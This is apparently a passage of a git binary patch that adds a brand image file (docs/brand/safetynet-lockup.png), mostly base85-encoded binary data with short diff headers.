uOs?nU32R)#tVVE38P>+*z0r(&?pca&&bIV%& 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 literal 0 HcmV?d00001 diff --git a/docs/brand/safetynet-lockup.png b/docs/brand/safetynet-lockup.png new file mode 100644 index 0000000000000000000000000000000000000000..9c9772a515432cf3e89440b2176e11adbf2ca64f GIT binary patch literal 426726 zcmeFa2{@GP+dqEKVvHq*5D8;R3FDrXv6LmEDDAeGX~sTwSxOmO5tULRLfSm3kPmleS$n?>?xLJ|;; z3qhwKy^H|V#04&e{~{tIwaQ@202AB$Js$Z8q5r)~2vY8?~84H= znaN_aHj+tHm zSDl~`cg-*#4u9p)jh^g{hTsA|)RP_TVWgrYvoleA)sAPhk9tBU)qY}t^ zbUcX+6G(a_GYXAJ(ACq!lVBQwrbon6NO}Y^4Ns)&5%lO(JQ;kFbjcI9=_IllS(ip2 zk%@Ss9)&EX!~GT0VR)CEH-4M;&G5Gi`#Hkm-B)67V^V0W0m90@!|0a8#26e^ws zgeB2QcoGE&Nt^m0noVBj%gUbxHko(|Y|dYWzbAiDAk)MqbhF7#b*E&QmI;g}WCW{& zBhg8esWVW_CeK8hJR%i9FmYrueiDLdNTwj7192uGqfS8x)|-HojGu&f5^@SmoVc$` zH6xSh1PX8S zc^c3N35WwAC-XH$1D`~`c>GVQ+2nQpm_H9_cH%kw4a=tZR z4nC@6A`pYLj-;y#P@|bmUnc2N2}EEFWTGB{Mg>yok_j*j&?W&fbb&4D5(#=_U28H> z7L5Wdj!Y&1Ljht?z$XwJJV&Mi6e-}70_Kx|miVZHQ`5n=Q>V6^Lczg?Ox5KtIAwJd z>q(CQ8RAibyM@d&6~7hih~V_Hi0t$fKH&% z$z~)Pl|X_4fIv}Xa556`*ol(>v!_jXIt_RS-zE932V9a2P6B)d-~?(+#ha>}!hl#rDCJ#%T`XmDs zCQifGEB|y9GZIWE09^n9D8S5sKqLx54;+wh4|KjBfpwDj`UV2g>GXAED)1%%-qdA2 z4tysfQ2<|&fEUonz}bKte0hK|lL5$7I?#|jswzxX+UaV5a1L5UK*GN7)%$iE|Ctbm&~V4 zK!9MGpH2;6m~cAkq&b?A02%A@cc+470gdvFl?W(hLONZbWdI7DKL$Pq5C+l%pQD2@ zAW#}#crv&Q4g*XW`~kuOV*pD2HU=(61|&W?eaf=IbU;*kRN6WUFf1a4ZZ;hQD1gX7 z_yC6kIwX;R3jy6v9hOc97=l=!N2XhYCBc1w31A2+OafvMfv12of#=BJITDTkImIM= z7oIpXSdZ_5mQx4-9-{Jjh`%fq91=t-Fs9JJ;Q+mp!L}4YX#8!cKwKCs2cjQPHDG5x z?eZfP*abu`DsXrr2r^`V2@$A*f1geU764911$;;am=R$VP@C0Bv z6W9a(qJVXD0p=hu0SgDxPLF{q^>lUD0j~h3qFYnImY7o2#nFIAkS9Ef z|NP{!$iQRBeB${w<`Wuy-Q;npQ=cRUo5=$KfhW#KG^6rOk`FJ52wV_o4-l{(k#B-v zV?JJh0fCApa0848JOj8opNOZf^MT+8UkdOXz=9JlODFQjz*YDr4g`Yvga&Mu%#Y4s zUqDvY6u$NF6APeqU|ba7pddhl@sxG}J?VmFCdMEh@bT2;hkX8gD%F~z2f_yojse65 zxeR*MufMIFcL|B_hUIXjtlZg6&u5~HE>4_9wvV%{MpIdM! zGtkw<-PJcZm+i~+adkKIUw24bqvKA2cyP7|hoR4rF@zy0T3;?tX!u!5%)I zEE`w0Co^~I2)>g?@bd+G|H>igFqz~q{cspagF#Xp3XUJ>!wmFxWfL~}ZuHya`)^>t zu&y47>JZ4}a7-o@VCBo=Y+}2zKLIsdn^GIU9smjb->J=m8RS7=GlQAmwC48S;n1lW z#*mz?%H8;N=10MeE&OMXd%1>zrTMr9Mdi8%1v3MKWtH7HuD%iH$pAy@`g{=|_H@N3RfhbV 